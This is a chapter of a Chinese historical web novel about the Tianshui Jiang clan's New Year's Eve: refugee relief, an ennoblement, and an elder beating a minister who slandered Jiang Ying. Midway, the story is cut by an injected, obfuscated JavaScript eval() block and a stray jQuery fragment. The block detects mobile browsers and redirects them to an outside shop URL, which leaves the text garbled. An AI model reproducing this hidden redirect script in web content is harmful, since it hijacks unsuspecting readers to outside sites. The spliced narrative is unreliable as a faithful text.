短暂的彷惶并没有影响姜珞的情绪,她不是一个会为难自己的人,想不通的事情就不想了。


    今年边境战事吃紧,宫中取消了夜宴,赵太后身为天底下最尊贵的女人,当仁不让做出表率,自省自身,节俭开支,把省下来的开销用来赈济饥人。


    上行下效,不管是为了博赵太后欢心,还是想要在明惠帝面前露脸,但凡盛京有头有脸的人家都开始纷纷效仿起来。


    节俭并非自苦,只不过是少做两件衣裳,少打两件首饰罢了。若能以此换得美名,何乐而不为呢?


    卫国公府作为皇帝母族,自然是第一个带头,设粥棚、济灾民,又捐布帛粮食用以替朝廷度过难关。


    往下王家、郑家、陆家紧随其后。


    天水姜氏作为即将新鲜出炉的后族,也当仁不让,赵咎之妻,调少族长之令,收留遗民上万户,其雄厚财力直接惊动整个朝堂。


    “九女君说,天水姜氏愿以此佳节贺礼,为陛下分忧,解万民之苦。”容已恭恭敬敬转述姜璎的话。


    “好!”明惠帝击掌而笑,连日的阴霾也被这句话驱散,“天水姜氏高义,是朕之大幸!”


    说罢下诏封姜昀为齐国公。


    因中书令抱病告假,起草诏令的职责落到了赵哲这个中书侍郎头上。


    天水姜氏祖上历代高官,先祖姜尚辅佐文王武王有功,被封侯爵,国号齐,即齐侯。后人便以天水为郡望,诗礼传家,凭借先世名望和累世官宦,成为关陇地区一流高门。


    声望日隆,又在前梁达到顶峰。


    仅次于当时的汝南袁氏。


    故而今时今日,都还有“天下姜氏出天水”一说。


    姜昀的父亲本就是齐国公,只后来高家上位,姜家远离朝堂数十年,这才没了承袭爵位的资格。


    如今也算物归其主。


    相比起一个国公之位,反倒是姜璎收留遗民上万户更让人在意。


    好好的除夕,全被这个消息搅没了兴致!


    明事理的人,或许会说姜璎一心为公,慈悲心肠,不堕天水姜氏之名。


    但,更多的还是背后讥讽她一介女流,出嫁为妇,还掺和娘家事。


    姜昀是没儿子吗?


    诶,说对了,他还真没儿子。


    对于姜璎所为,不仅姜昀没意见,就连留在京中的姜家族老们,也没有任何一个人提出异议。


    什么叫代行少族长之令?


    他们小石头就是少族长好吗!


    啊?你说你不知道?


    不知道就闭上那张臭嘴!少踏马出来丢人现眼!姜五爷听说有人在背后说三道四,直接在大过年的日子杀到人家里,把尚书左仆射杨谏打了一顿。


    他辈分高,脾气差,混不吝得让人害怕。


    杨谏顶着一张猪头脑进宫哭诉,一把鼻涕一把泪,说自己从来没受过这种委屈!


    明惠帝差点笑出声。


    被他忍下来了。


    他和颜悦色问杨谏,是不是要告姜五爷殴打朝廷命官?


    这个当然是没问题的。


    让大理寺卿亲自上门去抓都行。


    但你说老头子一把年纪,要是折腾出毛病。


    杨谏就像是被掐住脖子的公鸡,眼睛瞪老大,一下子没了声音。


    他不甘心,哭道:“难道臣就白白受委屈吗?”


    明惠帝笑道:“杨卿,你诋毁姜氏女在先,倒也不算委屈啊。”


    杨谏头皮一紧。


    被打得离家出走的理智总算回归。


    明惠帝单手支着脑袋,若有所思,“爱卿对姜氏女不满,可是不愿其为朕效命分忧?”


    这个罪名就大了。


    杨谏忙伏地磕头,冷汗涔涔,“臣绝无此心!万望陛下明鉴!”


    明惠帝和颜悦色:“那爱卿还要不要朕做主?”


    杨谏忙道:“不不不劳烦陛下!区区小事,臣自会同姜家私下处理。”


    明惠帝摆了摆手,“退下吧。”


    杨谏无功而返,却是松了口气。


    只在心里暗暗后悔不该做出头鸟。


    姜璎此番举动,虽是为国为民,却也碍了不少人的眼。那么多流民,除了老弱妇孺,剩下那些的年轻壮丁,哪家不眼馋?


    这年头,人口就是钱。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950981|173897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    士族为什么能积累如此之多财富,说白了,还不都是廉价劳动力换来的?


    天水姜氏博得美名的同时,也成为了不少人的眼中钉、肉中刺。


    奈何姜昀不在盛京,人家正死守秦州,又是明惠帝未来岳父,想攻讦没把柄,还要面临混不吝老头上门殴打的风险。


    妈的!


    杨谏越想越气,也不敢出去走亲戚,干脆告了假,大门一关老实养伤。


    其实姜五爷也没讨着多少便宜。


    他撸袖子撸得痛快,回家一个得意忘形闪了腰,此刻正躺在榻上哎哟哎呦叫唤。


    姜五爷的胞妹六祖姑,没好气道:“今儿什么日子?去上门给人打一顿,你看是诚心想搅黄二丫头的亲事!”


    姜五爷不服气,梗着脖子道:“明昭不在京中,就我们几个老东西,所以才教这些个嘴巴不干不净的东西,看轻了小石头去!我这揍一顿,省的他们当小石头没娘家人!”


    “你还有理了?!”


    “诶,六姐!别气别气,我看五哥说得也没错。”姜七爷阻止道。


    “本来就是。”姜五爷哼了一声。


    姜璎哭笑不得,在一旁劝说,“姑祖母,五叔公虽行事冲动了一些,但好歹是为姜家立场出发,替我打抱不平,您就别怪他了。”


    又对姜五爷道:“五叔公,您也注意些自己身子,伤筋动骨一百天,今日还好只是闪了腰,要是杨大人还手,您不就吃亏了吗?”


    姜五爷在乖乖侄孙女面前气焰全无,嘟囔道:“知道、知道了。”


    姜五爷揉了药酒后重新更衣,在他的带领下,大家一同祭祖祭神,饮椒柏酒。


    当下有守岁的习俗。


    除夕当夜,彻夜不眠,聚饮欢谈,意为珍惜光阴,守望新年。


    这是姜璎离开永安侯府的第一个新年。


    她以天水姜氏少族长的身份,留在姜家陪同大家一起守岁。


    赵堰没有意见,也不敢有意见。


    他但凡叽歪两句,估计姜五爷就要冲上门给他俩大耳刮子。


    你能跟老头讲道理吗?


    不能。